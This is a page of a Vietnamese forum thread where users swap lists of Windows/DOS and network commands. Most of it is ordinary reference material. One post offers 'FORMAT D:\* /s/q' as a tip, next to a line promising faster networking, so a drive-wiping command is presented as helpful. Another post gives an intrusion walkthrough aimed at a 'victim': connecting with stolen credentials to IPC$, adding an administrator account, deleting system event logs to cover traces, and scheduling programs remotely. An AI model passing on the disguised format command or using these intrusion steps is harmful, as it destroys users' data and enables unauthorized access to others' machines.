Follow us on...
Follow us on Facebook

VN-Zoom.com chung tay vì Cộng đồng

Kaka - ứng dụng hát Karaoke trên mobile



Chiêm ngưỡng BaoMoi đẹp "tuyệt diệu" trên Windows Phone

Vui thể thao quà ý nghĩa
Trang 2/3 đầuđầu 1 2 3 cuốicuối
kết quả từ 16 tới 30 trên 35
  1. #16
    kikyou751998's Avatar
    kikyou751998 vẫn chưa có mặt trong diễn đàn Thành viên đang bị kỷ luật
    Tham gia
    Nov 2008
    Đến từ
    Somewhere cold
    Bài
    882
    Cảm ơn
    96
    Điểm
    714/297 bài viết
    VR power
    0

    Default

    Trích michael1112 View Post
    Các bác đừng chém lung tung! người ta tìm về cội nguồn ý mờ! Nhưng thật sự trong tương lai sẽ chẳng còn môi trường DOS nữa đâu!
    Ai nói bác vậy đó. Dùng dos để khai thác đĩa rất dễ, vì đó là hệ điều hành đĩa mà.

  2. Có 1 thành viên cảm ơn kikyou751998 cho bài viết này:
    win 8 (08-06-2011)

  3. #17
    Tham gia
    Jun 2010
    Bài
    3
    Cảm ơn
    0
    Điểm
    2/2 bài viết
    VR power
    0

    Default chẹp

    Chắc do không biết gì về điện, sờ vào đèn dầu nó giật cho ngã ngửa nên mới bào là sai.
    Các bạn vào dos rồi gõ help là có hết các lệnh với điều kiện các bạn phải biết tiếng anh tý chút.

  4. Có 1 thành viên cảm ơn hao.nguyendinh cho bài viết này:
    win 8 (08-06-2011)

  5. #18
    chubetihon1376's Avatar
    chubetihon1376 vẫn chưa có mặt trong diễn đàn Búa Đá
    Tham gia
    Sep 2008
    Bài
    59
    Cảm ơn
    3
    Điểm
    9/9 bài viết
    VR power
    0

    Default

    ko dùng lệnh dos bao giờ có sao ko .dos làm được gì mà windows ko làm được nhỉ.

  6. Có 1 thành viên cảm ơn chubetihon1376 cho bài viết này:
    win 8 (08-06-2011)

  7. #19
    thanhphongdd's Avatar
    thanhphongdd vẫn chưa có mặt trong diễn đàn Búa Gỗ Đôi
    Tham gia
    Apr 2008
    Bài
    25
    Cảm ơn
    3
    Điểm
    12/5 bài viết
    VR power
    0

    Default

    Vẫn có cái win không làm được đó bạn.
    Link cho bạn nào thích tìm hiểu
    Thay đổi nội dung bởi thanhphongdd; 24-10-2010 lúc 10:36.

  8. Có 3 thành viên cảm ơn thanhphongdd cho bài viết này:
    ninja107 (17-10-2012), tran hoa yen (30-11-2012), win 8 (08-06-2011)

  9. #20
    quoctoanpc84's Avatar
    quoctoanpc84 vẫn chưa có mặt trong diễn đàn Búa Gỗ
    Tham gia
    Oct 2009
    Bài
    13
    Cảm ơn
    1
    Điểm: 1/1 bài viết
    VR power
    0

    Default

    thank các bạn nhìu nge.

  10. Có 1 thành viên cảm ơn quoctoanpc84 cho bài viết này:
    win 8 (08-06-2011)

  11. #21
    thietkeit's Avatar
    thietkeit vẫn chưa có mặt trong diễn đàn Búa Đá
    Tham gia
    Sep 2010
    Bài
    60
    Cảm ơn
    14
    Điểm
    45/14 bài viết
    VR power
    0

    Default

    day cac ban dung cau lenh ne nha FORMAT D:\* /s/q
    con day la tang toc mang


    ---------- Bài thêm lúc 12:18 ---------- Bài trước là lúc 12:15 ----------

    con cau lnh reset may ne shutdown -r -t 00 cac ban dung NOTEPAP va luu thanh *.bat hoac *.CMD ok
    cac ban dung thu nha

    ---------- Bài thêm lúc 12:24 ---------- Bài trước là lúc 12:18 ----------

    Những câu lệnh cần nhớ trong MSDOS

    Lệnh trong MS-Dos
    appwizcpl : Chạy chương trình Add/Remove Programs
    Calc : Chạy chương trình máy tính điện tử
    cfgwiz32 : Cấu hình ISDN
    Charmap : Mở bảng ký tự đặc biệt
    Chkdsk : Sửa chữa những tập tin bị hỏng
    Cleanmgr : Chạy chương trình dọn dẹp ổ đĩa (Disk Cleanup)
    Clipbrd : Mở cửa sổ Clipboard Viewer
    Control : Hiển thị Control Panel
    Cmd : Mở cửa sổ Window Command
    control mouse : Sử dụng để điều chỉnh đặc tính của chuột
    dcomcnfg : Chạy ứng dụng Component Services
    Debug : Khởi động chương trình ngôn ngữ lập trình Assembly
    Defrag : Chạy chương trình chống phân mảnh ổ đĩa cứng
    Drwatson : Tìm kiếm những chương trình bị lỗi
    Dxdiag : Khởi động tiện ích chuẩn đoán DirectX
    Explorer : Mở trình duyệt tập tin Windows Explorer
    Fontview : Xem font chữ đồ hoạ
    fsmgmtmsc : Sử dụng để mở những thư mục chia sẻ (Shared Folder)
    firewallcpl : Sử dụng để đặt cấu hình cho tường lửa của Windows
    ftp : Mở chương trình FTP
    hdwwizcpl : Sử dụng để chạy chương trình Add Hardware
    Ipconfig : Hiển thị cấu hình IP của tất cả các card mạng
    Logoff : Sử dụng để Logoff máy vi tính
    Mmc : Khởi động chương trình Microsoft Management Console
    Msconfig : Cấu hình để chỉnh sửa tập tin khởi động
    Mstsc : Sử dụng để truy cập Remote desktop
    Mrc : Khởi động tiện ích xoá bỏ những phần mềm gây hại
    msinfo32 : Mở tiện ích xem thông tin hệ thống của máy vi tính
    Nbtstat : Hiển thị các kết nối hiện tại đang sử dụng NetBIOS thông qua giao thức TCP/IP
    Netstat : Hiển thị tất cả những kích hoạt kết nối mạng
    Nslookup : Quay lại máy chủ DNS cục bộ
    Osk : Sử dụng để truy cập bàn phím ảo trên màn hình
    perfmonmsc : Sử dụng để cấu hình sự thực thi của máy vi tính
    Ping : Gửi dữ liệu tới host/IP
    powercfgcpl : Sử dụng để cấu hình cho tuỳ chọn nguồn cấp năng lượng (điện)
    regedit : Chỉnh sửa Registry
    Regwiz : Đăng ký
    sfc /scannow : Kiểm tra tập tin hệ thống
    sndrec32 : Mở chương trình ghi âm
    Shutdown : Sử dụng để tắt máy vi tính
    Spider : Sử dụng để mở trò chơi Spider Solitare
    sfc/scannow : Sử dụng để khởi động tiện ích kiểm tra tập tin hệ thống
    sndvol32 : Mở bảng điều chỉnh âm lượng
    sysedit : Chỉnh sửa tập tin khởi động
    taskmgr : Mở bảng chương trình quản lý tác vụ
    telephoncpl : Sử dụng để cấu hình những tuỳ chọn của Modem
    telnet : Chạy chương trình Telnet
    Winchat : Sử dụng để chat với Microsoft
    Wmplayer : Sử dụng để chạy chương trình Windows Media Player
    Wab : Sử dụng để mở cửa sổ Address Book
    winWord : Sử dụng để mở chương trình Microsoft Word
    Winipcfg : Hiển thị cấu hình IP
    Winver : Sử dụng để kiểm tra phiên bản của HĐH đang sử dụng
    Wupdmgr : Liên kết tới website cập nhật của Microsoft
    Write : Sử dụng để mở WordPad
    email:

    ---------- Bài thêm lúc 12:28 ---------- Bài trước là lúc 12:24 ----------

    Và đây mình được mạo phép nói thêm về các câu lệnh mạng
    Một số lệnh cơ bản trong mạng LAN hay được sử dụng, nhất là dùng để kiểm tra, điều khiển, hay truy cập từ xa tới máy tính khác trong mạng LAN. Các lệnh này hoàn toàn có thể dùng những công cụ khác có sẵn của Windows như cmd.exe để thực hiện, hoặc dùng chương trình để thực hiện thay thế cho việc dùng dòng lệnh.


    1.Lệnh Ping
    Chức năng: Lệnh Ping được dùng để thử xem mạng TCP/IP có trở ngại gì giữa các computers không hoặc để kiểm tra xem một máy tính có kết nối với mạng không.





    Cú pháp: ping ip/host [/t][/a][/l][/n]

    Chú thích:
    - ip/host: ip là địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính

    Ví dụ: ping 192.168.1.1

    - [/t]: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C
    - [/a]: Nhận địa chỉ IP từ tên host
    - [/l]: Xác định số gói tin sẽ gửi đi.

    Ví dụ: ping 192.168.1.1/n 5
    - [/n]: Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS).

    Ví dụ: ping 192.168.1.1 /l 65535

    Ngoài ra, còn một số thông tin khác, bạn có thể tự tham khảo với câu lệnh ping /?

    Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....


    2. Lệnh IPConfig
    Chức năng: Ta dùng lệnh IPConfig khi cần biết trạng thái của TCP/IP configuration của computer. Khi dùng lệnh IPConfig với /all switch, chương trình sẽ hiển thị một báo cáo chi tiết về configuration của tất cả card mạng, kể cả các miniports mạng rộng (Wide Area Network) nào hiện diện, thường dùng cho remote access hay các móc nối Virtual Private Network (VPN). Với DNS dynamics update bạn cũng có thể dùng IPConfig để đăng ký computer vào dịch vụ DNS.

    Cú pháp: ipconfig /all

    Chú thích: Có một số switches khác của lệnh IPConfig cũng rất thông dụng:
    - /flushdns: Xóa bỏ cache chứa tên trong DNS
    - /registerdns: Làm mới lại tất cả Dynamic Host Configuration Protocol (DHCP) leases và đăng ký lại tất cả tên DNS. Một lease là một hợp đồng mà DHCP cho phép một computer được dùng một IP Address trong thời hạn bao lâu.
    - /displaydns: Hiển thị cache của DNS resolver
    - /release: [Card (adapter)] Hủy bỏ lease về một IP Address cho một cạt. Nếu không nói rõ tên cạt nào thì DHCP hủy bỏ mọi leases
    - /renew: [Card (adapter)] Phát hành một lease mới với IP Address cho một cạt. Nếu không nói rõ tên cạt nào thì DHCP phát hành lease mới cho mọi card.

    Bạn nên thận trọng khi dùng lệnh IPConfig trên client computer. Có nhiều features tân tiến của IPConfig tuy hay nhưng không nên dùng trên một máy client nếu không được sự trợ giúp của một administrator về mạng. Dùng lệnh nầy sai lạc có thể làm cho client computer mất móc nối với server.

    Ðể biết thêm về các switches của IPConfig hãy đánh IPConfig /?


    3. Lệnh Tracert
    Chức năng: Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào...

    Cú pháp: tracert ip/host

    Chú thích: ip là địa chỉ IP của máy đích; host là tên của máy tính đích. Ngoài ra chỉ cần đánh Tracert sẽ hiển thị chỉ dẩn như sau:


    4. Lệnh Netstat
    Chức năng: Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta. Nếu bạn sử dụng lệnh này mà thấy mấy cái port đang ở chế độ listening lạ hoắc thì yên chí là máy bạn dính trojan rồi đấy. Cẩn thận kẻo mất password

    Cú pháp: Netstat [/a][/e][/n]

    Chú thích:
    - [/a]: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening)
    - [/e]: hiển thị các thông tin thống kê Ethernet
    - [/n]: Hiển thị các địa chỉ và các số cổng kết nối...

    Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm


    5. Lệnh FTP
    Chức năng: FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp.

    Cú pháp: ftp ip/host

    Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập Username và pass. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ.

    Chú thích: Một số lệnh ftp cơ bản.
    - CD <thu_muc>: chuyển sang thư mục khác trên máy chủ
    - DIR: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ
    - MDIR <thu_muc>: Tạo một thư mục mới có tên thu_muc trên máy chủ
    - RMDIR <thu_muc>: Xoá (remove directory) một thư mục trên máy chủ
    - PUT FILE: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ.
    - CLOSE: Đóng phiên làm việc
    - QUIT: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command.

    Ngoài ra còn một vài lệnh nữa, xin mời các bạn tìm hiểu thêm.
    Như vậy, từ nay trở đi, nếu bạn nào có một website riêng thì không cần phải lo đến chuyện phải có chương trình ftp nữa nhé. Dùng lệnh này, đảm bảo chạy ở đâu cũng được (tất nhiên trừ những mạng máy tính sử dụng proxy).


    6. Lệnh Telnet
    Chức năng: Telnet là một ứng dụng cho phép người dùng ngồi trên một thiết bị đầu cuối có thể thông qua kết nối mạng đến một thiết bị từ xa để điều khiển nó bằng câu lệnh như là đang ngồi tại máy ở xa. Telnet cho phép tạo kết nối với thiết bị từ xa, thu thập thông tin và chạy chương trình.

    Cú pháp: telnet IP/host port
    Chú thích:
    - ip là địa chỉ IP của thiết bị đầu cuối; host là tên của thiết bị đầu cuối.
    - port là cổng để giao tiếp với thiết bị đầu cuối.

    Ví dụ: telnet 192.168.1.1 80 sẽ thiết lập phiên telnet với thiết bị có địa chỉ IP là 192.168.1.1 với port là 80

    Ngoài ra bạn cũng có thể sử dụng lệnh telnet /? để tìm hiểu một số tham số khác


    7. Lệnh NSLookup
    Chức năng: NSLookup là một công cụ tiện dụng để giải quyết những khó khăn về DNS, chẳng hạn như host name resolution (tìm IP Address của một computer) bằng cách đọc những records trong DNS database.

    Cú pháp: nslookup <name server>

    Chú thích:
    - name là host name của record mà bạn đang tìm
    - server là tên của server mà bạn muốn hỏi.

    Nếu server không được cung cấp thì sẽ chọn default server.


    8. Lệnh NET
    Lệnh NET là một lệnh ngoại trú (tức là không có sẵn) nhưng nó luôn được đi kèm với hầu hết các hệ điều hành Windows của Microsoft và nó là một lệnh rất cần thiết và quang trọng dùng để xâm nhập một hệ thống lệnh NET không đi một mình mà nó đi chung với những phương thức khác để kết hợp thành một tổ hợp cụ thể. Chính vì tầm quang trọng của nó nên tôi tách hẳn nó ra thành một chương riêng biệt

    • NET VIEW
    Chức năng: Lệnh này cho phép xem danh sách các máy trong mạng, hoặc xem các tài nguyên chia sẻ tại một máy trên mạng

    Cú pháp: net view \\IP/host

    Chú thích:
    - ip là địa chỉ IP của máy tính hoặc domain; host là tên của máy tính hoặc domain.

    Nếu chỉ đánh net view và nhấn enter, thì nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng.
    Nếu đánh net view \\IP hoặc \\host, thì nó sẽ hiển thị các tài nguyên chia sẻ của máy tính đó.

    • NET USE
    Chức năng: Lệnh này dùng để kết nối máy của người đang thực hiện tới một tài nguyên được chia sẽ trên hệ thống mạng với một quyền hạn nhất định.

    Cú pháp: Net use \\IP/host\Sharedata "Password" /user:"User"

    (Dùng để kết nối tới một tài nguyên nhất định khi biết username và password)

    Net use \\ IP/host \ipc$ "Password" /user:"User"

    (Dùng để kết nối một IPC$ đến máy tính)

    Chú thích:
    - ip là địa chỉ IP của máy tính chứa tài nguyên chia sẽ; host là tên của máy tính chứa tài nguyên chia sẽ.
    - Sharedata là tài nguyên chia sẽ
    - User là tên user được cấp trước
    - Password là password của user

    Ví dụ: Để kết nối ICP$ đến máy có địa chỉ IP là 192.168.1.2 với username là administrator và password là 123456
    Net use \\192.168.1.2\ipc$ "123456" /user:"administrator"

    • NET USER
    Chức năng: Lệnh này dùng để Tạo/Xóa tài khoản người dùng, hoặc hiện danh sách tài khoản nếu không có tham số.
    Cú pháp: Net User [username pass] [/add]
    (tạo người dùng có tên là username và password)

    Net User [username] [/delete]
    (xóa người dùng có tên là username)

    Chú thích:
    - Username : tên người dùng
    - pass : mật khẩu của người dùng

    • NET SHARE
    Chức năng: Lệnh này dùng để chia sẽ tài nguyên trên máy tính
    Cú pháp: Net share sharename=path

    Chú thích:
    - path ở đây có thể là một ổ đĩa hoặc đường dẫn tuyệt đối tới một thư mục hoặc máy in .v.v.

    Ví dụ: Net share DATA=C:\ /Unlimited
    (Chia sẽ ổ đĩa C:\ lấy tên là ổ data với quyền truy cập không giới hạn)

    Ngoài các lệnh Net view, Net use, Net user, Net share ra thì tổ hợp lệnh nét còn bao gồm một số lệnh nữa như là lệnh Net file, Net session, Net group, Net start, Net stop, Net time,… Tuy nhiên những lệnh này chỉ tác động trên máy localhost nên các bạn có thể tự tìm hiểu thêm.

    ---------- Bài thêm lúc 12:33 ---------- Bài trước là lúc 12:28 ----------

    Giấu ổ đĩa bằng lệnh Dos

    Trước tiên ta vào Start -> Run: gõ cmd để vào Command Prompt.
    Tại dấu nhắc lệnh, ta gõ cd \
    gõ lệnh: diskpart [enter]
    gõ lệnh: list volume [enter]
    gõ lệnh: select volume 2 [enter] (giả dụ: volume 2 là volume cần giấu đi)
    gõ lệnh: remove letter D [enter] (D là ký tự ổ đĩa gán cho volume 2)
    sau đó, gõ exit để thoát khỏi cửa số Command Prompt, vào Windows Explorer ta thấy ổ đĩa cần giấu đã biến mất.

    chú ý: để hiện lại ổ đĩa, ta làm tương tự các bước trên, nhưng thay lệnh Remove letter D bằng lệnh: assign letter D.

    Xin hỏi có thể dùng câu lệnh này để viết thành Script với file .bat để khỏi mất công đi dến từng máy rồi phải đánh lệnh hay không? Vì mình muốn ẩn ổ đĩa cho nhiều máy, nên cần 1 file .bat chạy 1 lần cho từng máy là xong.

  12. Có 6 thành viên cảm ơn thietkeit cho bài viết này:
    auauau97 (08-06-2011), find_a_love_9x (26-05-2012), kenbuta (20-11-2011), phuochantien (31-12-2011), simviet_vms (05-06-2012), win 8 (08-06-2011)

  13. #22
    Tham gia
    Jan 2009
    Bài
    5
    Cảm ơn
    0
    Điểm: 1/1 bài viết
    VR power
    0

    Default

    Trích banana729 View Post
    cho em xin cái tài liệu chi các câu lệnh DOS
    VD: em muốn xoá một tập tin trong thư mục C:\BAITAP thì làm sao

    cứu với
    cai nay la lenh co ban ma

  14. Có 1 thành viên cảm ơn phanvananh304 cho bài viết này:
    win 8 (08-06-2011)

  15. #23
    locdp's Avatar
    locdp vẫn chưa có mặt trong diễn đàn Rìu Sắt
    Tham gia
    Apr 2010
    Bài
    172
    Cảm ơn
    83
    Điểm
    62/37 bài viết
    VR power
    0

    Default

    thanks mấy bác! trung quốc xưa giờ vẫn chơi xấu vậy mà.....

  16. Có 1 thành viên cảm ơn locdp cho bài viết này:
    win 8 (08-06-2011)

  17. #24
    auauau97's Avatar
    auauau97 vẫn chưa có mặt trong diễn đàn Rìu Chiến Vàng
    Tham gia
    Jun 2010
    Đến từ
    Hà Nội
    Bài
    6.688
    Cảm ơn
    11.981
    Điểm
    5.268/3.029 bài viết
    VR power
    0

    Default

    1 vài câu lệnh trong Dos:
    1. Character Map = charmap.exe (rất hữu dụng trong việc tìm kiếm các ký tự không thông dụng)
    2. Disk Cleanup = cleanmgr.exe (dọn dẹp đĩa để tăng dung lượng trống)
    3. Clipboard Viewer = clipbrd.exe (Xem nội dung của Windows clipboard)
    4. Dr Watson = drwtsn32.exe (Công cụ gỡ rối)
    5. DirectX diagnosis = dxdiag.exe (Chẩn đoán và thử DirectX, card màn hình & card âm thanh)
    6. Private character editor = eudcedit.exe (cho phép tạo ra hoặc sửa đổi các ký tự(nhân vật?))
    7. IExpress Wizard = iexpress.exe (Tạo ra các file nén tự bung hoặc các file tự cài đặt)
    8. Mcft Synchronization Manager = mobsync.exe (cho phép đồng bộ hóa thư mục trên mạng cho làm việc Offline. Không được cung cấp tài liệu rõ ràng).
    9. Windows Media Player 5.1 = mplay32.exe (phiên bản cũ của Windows Media Player, rất cơ bản).
    10. ODBC Data Source Administrator = odbcad32.exe (Làm một số việc với các cơ sở dữ liệu)
    11. Object Packager = packager.exe (Làm việc với các đối tượng đóng gói cho phép chèn file vào, có các file trợ giúp toàn diện).
    12. System Monitor = perfmon.exe (rất hữu ích, công cụ có tính cấu hình rất cao, cho bạn biết mọi thứ bạn muốn biết về bất kỳ khía cạnh nào của hiệu suất PC, for uber-geeks only )
    13. Program Manager = progman.exe (Legacy Windows 3.x desktop shell).
    14. Remote Access phone book = rasphone.exe (Tài liệu là ảo, không tồn tại).
    15. Registry Editor = regedt32.exe [also regedit.exe] (dành cho việc chỉnh sửa Windows Registry).
    16. Network shared folder wizard = shrpubw.exe (Tạo các thư mục được chia sẻ trên mạng).
    17. File siganture verification tool = sigverif.exe
    18. Volume Contro = sndvol32.exe (Tôi bổ sung cái này cho những người bị mất nó từ vùng cảnh báo của hệ thống).
    19. System Configuration Editor = sysedit.exe (Sửa đổi System.ini & Win.ini giống như Win98! ).
    20. Syskey = syskey.exe (bảo mật cơ sở dữ liệu tài khoản WinXP - cẩn thận khi sử dụng, Nó không được cung cấp tài liệu nhưng hình như nó mã hóa tất cả các mật khẩu, Tôi không chắc về chức năng đầy đủ của nó).
    21. Mcft Telnet Client = telnet.exe
    22. Driver Verifier Manager = verifier.exe (có vẻ như là một tiện ích theo dõi hoạt động của các Driver(trình điều khiển) phần cứng ,có thể hữu ích đối với người gặp sự cố với các Driver. Khộng được cung cấp tài liệu)
    23. Windows for Workgroups Chat = winchat.exe (Xuất hiện như là 1 tiện ích WinNT cũ cho phép chat trong mạng LAN,có file trợ giúp).
    24. System configuration = msconfig.exe (Có thể sử dụng để quản lý các chương trình khởi động cùng với Windows)
    25. gpedit.msc được sử dụng để quản lý các chính sách nhóm và các quyền hạn.
    Nói chung là mọi người cứ chạy Run rồi gõ mấy chữ tôi tô màu đỏ vào và tìm hiểu một chút để biêt công dụng của nó
    Nếu có đuôi exe thì có thể bỏ qua ko cần gõ phần đuôi

    1. Lệnh Ping : Cú pháp: Code: ping ip/host [/t][/a][/l][/n] - ip: địa chỉ IP của máy cần kiểm tra; host là tên của máy tính cần kiểm tra. Người ta có thể sử dụng địa chỉ IP hoặc tên của máy tính. - Tham số /t: Sử dụng tham số này để máy tính liên tục "ping" đến máy tính đích, cho đến khi bạn bấm Ctrl + C - Tham số /a: Nhận địa chỉ IP từ tên host - Tham số /l : Xác định độ rộng của gói tin gửi đi kiểm tra. Một số hacker sử dụng tham số này để tấn công từ chối dịch vụ một máy tính (Ping of Death - một loại DoS), nhưng tôi nghĩ là hacker có công cụ riêng để ping một gói tin lớn như thế này, và phải có nhiều máy tính cùng ping một lượt. - Tham số /n : Xác định số gói tin sẽ gửi đi. Ví dụ: ping 174.178.0.1/n 5 Công dụng : + Lệnh này được sử dụng để kiểm tra xem một máy tính có kết nối với mạng không. Lệnh Ping sẽ gửi các gói tin từ máy tính bạn đang ngồi tới máy tính đích. Thông qua giá trị mà máy tính đích trả về đối với từng gói tin, bạn có thể xác định được tình trạng của đường truyền (chẳng hạn: gửi 4 gói tin nhưng chỉ nhận được 1 gói tin, chứng tỏ đường truyền rất chậm (xấu)). Hoặc cũng có thể xác định máy tính đó có kết nối hay không (Nếu không kết nối,kết quả là Unknow host)....
    2. Lệnh Tracert : Cú pháp : Code: tracert ip/host Công dụng : + Lệnh này sẽ cho phép bạn "nhìn thấy" đường đi của các gói tin từ máy tính của bạn đến máy tính đích, xem gói tin của bạn vòng qua các server nào, các router nào... Quá hay nếu bạn muốn thăm dò một server nào đó.
    3. Lệnh Net Send: gởi thông điệp trên mạng (chỉ sử dụng trên hệ thống máy tình Win NT/2000/XP): Cú pháp: Net send ip/host thông_điệp_muốn_gởi Công dụng: + Lệnh này sẽ gửi thông điệp tới máy tính đích (có địa chỉ IP hoặc tên host) thông điệp: thông_điệp_muốn_gởi. + Trong mạng LAN, ta có thể sử dụng lệnh này để chat với nhau. Trong phòng vi tính của trường tui thường dùng lệnh này để ghẹo mọi người! Bạn cũng có thể gởi cho tất cả các máy tính trong mạng LAN theo cấu trúc sau : Code: Net send * hello!I'm pro_hacker_invn
    4. Lệnh Netstat : Cú pháp: Code: Netstat [/a][/e][/n] - Tham số /a: Hiển thị tất cả các kết nối và các cổng đang lắng nghe (listening) - Tham số /e: hiển thị các thông tin thống kê Ethernet - Tham số /n: Hiển thị các địa chỉ và các số cổng kết nối... Ngoải ra còn một vài tham số khác, hãy gõ Netstat/? để biết thêm Công dụng : + Lệnh Netstat cho phép ta liệt kê tất cả các kết nối ra và vào máy tính của chúng ta.
    5. Lệnh IPCONFIG : Cú pháp: Code: ipconfig /all Công dụng: + Lệnh này sẽ cho phép hiển thị cấu hình IP của máy tính bạn đang sử dụng, như tên host, địa chỉ IP, mặt nạ mạng...
    6. Lệnh FTP (truyền tải file): Cú pháp: Code: ftp ip/host Nếu kết nối thành công đến máy chủ, bạn sẽ vào màn hình ftp, có dấu nhắc như sau: Code: ftp>_ Tại đây, bạn sẽ thực hiện các thao tác bằng tay với ftp, thay vì dùng các chương trình kiểu Cute FTP, Flash FXP. Nếu kết nối thành công, chương trình sẽ yêu cầu bạn nhập User name, Password. Nếu username và pass hợp lệ, bạn sẽ được phép upload, duyệt file... trên máy chủ. Một số lệnh ftp cơ bản: -cd thu_muc: chuyển sang thư mục khác trên máy chủ - dir: Xem danh sách các file và thư mục của thư mục hiện thời trên máy chủ - mdir thu_muc: Tạo một thư mục mới có tên thu_muc trên máy chủ - rmdir thu_muc: Xoá (remove directory) một thư mục trên máy chủ - put file: tải một file file (đầy đủ cả đường dẫn. VD: c:\tp\bin\baitap.exe) từ máy bạn đang sử dụng lên máy chủ. - close: Đóng phiên làm việc - quit: Thoát khỏi chương trình ftp, quay trở về chế độ DOS command. Ngoài ra còn một vài lệnh nữa, xin mời các bạn tự tìm hiểu. Công dụng : + FTP là một giao thức được sử dụng để gửi và nhận file giữa các máy tính với nhau. Windows đã cài đặt sẵn lệnh ftp, có tác dụng như một chương trình chạy trên nền console (văn bản), cho phép thực hiện kết nối đến máy chủ ftp
    7. Lệnh Net View : Cú pháp: Code: Net View [\\computer|/Domain[:ten_domain]] Công dụng: + Nếu chỉ đánh net view [enter], nó sẽ hiện ra danh sách các máy tính trong mạng cùng domain quản lý với máy tính bạn đang sử dụng. + Nếu đánh net view \\tenmaytinh, sẽ hiển thị các chia sẻ tài nguyên của máy tính tenmaytinh . Sau khi sử dụng lệnh này, các bạn có thể sử dụng lệnh net use để sử dụng các nguồn tài nguyên chia sẻ này.
    8. Lệnh Net Use : Cú pháp: Code: Net use \\ip\ipc$ "pass" /user:"***" - ip: địa chỉ IP của victim. - ***: user của máy victim - pass: password của user Giả sử ta có đc user và pass của victim có IP là 68.135.23.25 trên net thì ta đã có thể kết nối đến máy tính đó rùi đấy! Ví dụ: user: vitim ; pass :12345 . Ta dùng lệnh sau: Code: Net use \\68.135.23.25\ipc$ "12345" /user:"victim" Công dụng: + kết nói một IPC$ đến máy tính victim (bắt đầu quá trình xâm nhập).
    9. Lệnh Net User : Cú pháp: Code: Net User [username pass] [/add] - Username : tên user cấn add - pass : password của user cần add Khi đã add đc user vào rùi thì ta tiến hành add user này vào nhóm administrator. Code: Net Localgroup Adminstrator [username] [/add] Công dụng: + Nếu ta chỉ đánh lệnh Net User thì sẽ hiển thị các user có trong máy tính. + Nếu ta đánh lệnh Net User [username pass] [/add] thì máy tính sẽ tiến hành thêm một người dùng vào. Ví dụ: ta tiến hành add thêm một user có tên là xuanhoa , password là :banvatoi vào với cấu trúc lệnh như sau: Code: Net User xuanhoa banvatoi /add Sau đó add user xuanhoa vào nhóm adminnistrator Code: Net Localgroup Administrator xuanhoa /add
    10. Lệnh Shutdown: Cú pháp: Code: Shutdown [-m \\ip] [-t xx] [-i] [-l] [-s] [-r] [-a] [-f] [-c "commet] [-d upx:yy] (áp dụng cho win XP) - Tham số -m\\ip : ra lệnh cho một máy tính từ xa thực hiên các lệnh shutdown, restart,.. - Tham số -t xx : đặt thời gian cho việc thực hiện lệnh shutdown. - Tham số -l : logg off (lưu ý ko thể thực hiện khi remote) - Tham số -s : shutdown - Tham số -r : shutdown và restart - Tham số -a : không cho shutdown - Tham số -f : shutdown mà ko cảnh báo - Tham số -c "comment" : lời cảnh báo trước khi shutdown - Tham số -d upx:yy : ko rõ Code: shutdown \\ip (áp dụng win NT) Để rõ hơn về lệnh shutdown bạn có thể gõ shutdown /? để được hướng dẫn cụ thể hơn! Công dụng: + Shutdown máy tính.
    11. Lệnh DIR : Cú pháp: Code: DIR [drive:][path][filename] Lệnh này quá căn bản rùi, chắc tui khỏi hướng dẫn, để rõ hơn bạn đánh lệnh DIR /? để được hướng dẫn. Công dụng: + Để xem file, folder.
    12. Lệnh DEL : Cú pháp: Code: DEL [drive:][path][filename] Lệnh này cũng căn bản rùi, ko phải nói nhìu. Công dụng: Xóa một file, thông thường sau khi xâm nhập vào hệ thống, ta phái tiến hành xóa dấu vết của mình để khỏi bị phát hiện.Sau đây là những files nhật ký của Win NT: Code: del C:\winnt\system32\logfiles\*.* del C:\winnt\ssytem32\config\*.evt del C:\winnt\system32\dtclog\*.* del C:\winnt\system32\*.log del C:\winnt\system32\*.txt del C:\winnt\*.txt del C:\winnt\*.log
    13. Lệnh tạo ổ đĩa ảo trên computer: Cú pháp: Code: Net use z: \\ip\C$ ( hoặc là IPC$ ) - Z là của mình...còn C$ là của Victim Công dụng: Tạo 1 đĩa ảo trên máy tính (lệnh này tui ko rõ nên ko thể hướng dẫn chi tiết đc)
    14. Lệnh Net Time : Cú pháp: Code: Net Time \\ip Công dụng: + Cho ta biết thời gian của victim, sau đó dùng lệnh AT để khởi động chương trình.
